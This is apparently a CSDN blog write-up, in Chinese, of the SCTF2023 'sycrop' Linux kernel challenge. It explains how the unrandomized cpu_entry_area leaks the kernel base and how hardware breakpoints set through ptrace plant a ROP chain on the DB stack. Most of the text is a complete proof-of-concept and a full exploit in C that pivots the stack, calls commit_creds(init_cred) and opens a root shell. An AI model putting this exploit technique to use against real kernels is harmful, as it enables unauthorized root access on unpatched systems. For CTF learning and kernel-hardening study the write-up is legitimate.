• 【cpu_entry_area mapping】SCTF2023-sycrop


    前言

    也算学习到了,这样对 DB_stack 的利用与 pt_regs 很相似。都是利用在用户态切换在内核态时,会保存用户态的上下文信息在内核栈中,所以我们就可以控制部分内核栈中的数据,以此为我们栈迁移做好准备。

    程序分析

    启动脚本啥的都不用看了,基本都是 smap、smep、kaslr 和 kpti 都开启。然后直接看驱动模块吧。

    驱动程序也非常简单,一次任意地址4字节数据泄漏和一次任意地址栈迁移的机会:

     注意最后这里要看汇编代码:

    这里直接将 rbx 的值赋给 rsp,然后 ret,而 rbx 直接来自于 rdx,也就是我们传入的第3个参数:

    这中间并没有对 rbx 的值再做任何修改,可以自行查看。并且返回前把其他寄存器的值都清空了,所以 pt_regs 就打不了了,但是一般 pt_regs 也会添加一个偏移。

    漏洞利用 

    这里漏洞已经白给了,按照题目给了漏洞,我们应当就是先泄漏内核基地址,然后在内核空间布置好 ROP 链,最后直接栈迁移过去。

    那么这里就有两个难点了:

    1、如何泄漏内核基地址

    2、在那里布置 ROP 链 

    最后选择的是 cpu_entry_area mapping 内核区域。

    测试 poc.c:

    1. // poc.c
    2. #ifndef _GNU_SOURCE
    3. #define _GNU_SOURCE
    4. #endif
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
    22. pid_t pid;
    23. int status;
    24. char buf[4];
    25. void set_hbp(void *addr)
    26. {
    27. if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(0), addr) == -1)
    28. {
    29. printf("Failed to set dr_0\n");
    30. kill(pid, 9);
    31. exit(-1);
    32. }
    33. unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
    34. if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(7), dr_7) == -1)
    35. {
    36. printf("Failed to set dr_7\n");
    37. kill(pid, 9);
    38. exit(-1);
    39. }
    40. }
    41. int main(int argc, char **argv, char **env)
    42. {
    43. pid = fork();
    44. if (!pid)
    45. {
    46. cpu_set_t cpu_set;
    47. CPU_ZERO(&cpu_set);
    48. CPU_SET(0, &cpu_set);
    49. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    50. ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    51. raise(SIGSTOP);
    52. __asm__(
    53. "mov r15, 0x11111111;"
    54. "mov r14, 0x22222222;"
    55. "mov r13, 0x33333333;"
    56. "mov r12, 0x44444444;"
    57. "mov rbp, 0x55555555;"
    58. "mov rbx, 0x66666666;"
    59. "mov r11, 0x77777777;"
    60. "mov r10, 0x88888888;"
    61. "mov r9, 0x99999999;"
    62. "mov r8, 0xaaaaaaaa;"
    63. "mov rax, 0xbbbbbbbb;"
    64. "mov rcx, 0xcccccccc;"
    65. "mov rdx, 0xdddddddd;"
    66. "mov rsi, 0xeeeeeeee;"
    67. "mov rdi, 0xffffffff;"
    68. );
    69. buf[0] = 0;
    70. exit(1);
    71. }
    72. waitpid(pid, &status, 0);
    73. set_hbp(buf);
    74. ptrace(PTRACE_CONT, pid, NULL, NULL);
    75. waitpid(pid, &status, 0);
    76. ptrace(PTRACE_CONT, pid, NULL, NULL);
    77. waitpid(pid, &status, 0);
    78. return 0;
    79. }

    在 linux 6.2 之前,该区域不参与随机化,并且在该区域存在内核地址,所以我们可以直接泄漏内核基地址:

    并且通过下硬件断点在用户态触发的方式,可以将寄存器内容推送到与per cpu entry area固定偏移的DB stack上,所以我们可以在 DB stack 上布置好我们的 ROP 链,最后直接栈迁移过去即可:

    exp如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #define DR_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
    21. size_t swapgs_kpti = 0xFFFFFFFF82000F01;
    22. size_t init_cred = 0xffffffff82a4cbf8;
    23. size_t commit_creds = 0xffffffff810bb5b0;
    24. size_t pop_rdi = 0xffffffff81002c9d; // pop rdi ; ret
    25. int fd;
    26. pid_t pid;
    27. int status;
    28. char buf[4];
    29. size_t kernel_offset;
    30. size_t leak(size_t addr) { return ioctl(fd, 0x5555, addr); }
    31. void set_rsp(size_t rsp) { ioctl(fd, 0x6666, rsp); }
    32. void err_exit(char *msg)
    33. {
    34. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    35. sleep(5);
    36. exit(EXIT_FAILURE);
    37. }
    38. void info(char *msg)
    39. {
    40. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    41. }
    42. void hexx(char *msg, size_t value)
    43. {
    44. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    45. }
    46. void bind_core(int core)
    47. {
    48. cpu_set_t cpu_set;
    49. CPU_ZERO(&cpu_set);
    50. CPU_SET(core, &cpu_set);
    51. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    52. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    53. }
    54. void set_hbp(void *addr)
    55. {
    56. if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr) == -1)
    57. {
    58. printf("Failed to set dr_0\n");
    59. kill(pid, 9);
    60. exit(-1);
    61. }
    62. unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
    63. if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr_7) == -1)
    64. {
    65. printf("Failed to set dr_7\n");
    66. kill(pid, 9);
    67. exit(-1);
    68. }
    69. }
    70. int main(int argc, char **argv, char **env)
    71. {
    72. fd = open("/dev/seven", O_RDWR);
    73. if (fd < 0) err_exit("Open dev file");
    74. kernel_offset = (leak(0xfffffe0000000000+4)&0xffffffff) - 0x82008e00;
    75. hexx("kernel_offset", kernel_offset);
    76. swapgs_kpti += kernel_offset;
    77. init_cred += kernel_offset;
    78. commit_creds += kernel_offset;
    79. pop_rdi += kernel_offset;
    80. pid = fork();
    81. if (!pid)
    82. {
    83. bind_core(0);
    84. ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    85. raise(SIGSTOP);
    86. __asm__ volatile(
    87. "mov rax, pop_rdi;"
    88. "mov rcx, init_cred;"
    89. "mov rdx, commit_creds;"
    90. "mov rsi, swapgs_kpti;"
    91. );
    92. buf[0] = 1;
    93. set_rsp(0xfffffe0000010fa8);
    94. hexx("UID", getuid());
    95. system("/bin/sh");
    96. exit(0);
    97. }
    98. waitpid(pid, &status, 0);
    99. set_hbp(buf);
    100. ptrace(PTRACE_CONT, pid, NULL, NULL);
    101. waitpid(pid, &status, 0);
    102. ptrace(PTRACE_CONT, pid, NULL, NULL);
    103. waitpid(pid, &status, 0);
    104. return 0;
    105. }

    最后可以稳定提权:

  • 相关阅读:
    2024版彩虹晴天全能知识付费源码+虚拟商城解决方案 含一键搭建视频教程 无授权限制
    无胁科技-TVD每日漏洞情报-2022-7-20
    Linux中Tomcat发布war包后无法正常访问非静态资源
    521. 最长特殊序列 Ⅰ
    Python中那些简单又好用的特性和用法
    PCL 添加自定义数据类型
    双十一有哪些实用性强的数码好物?2022双十一实用性强的好物清单
    文本处理方式方法
    ES查询时,通过response.getHits().getTotalHits()获取总条目结果始终为0
    esp32c3 nuttx 移植 micropython 尝试
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/133872074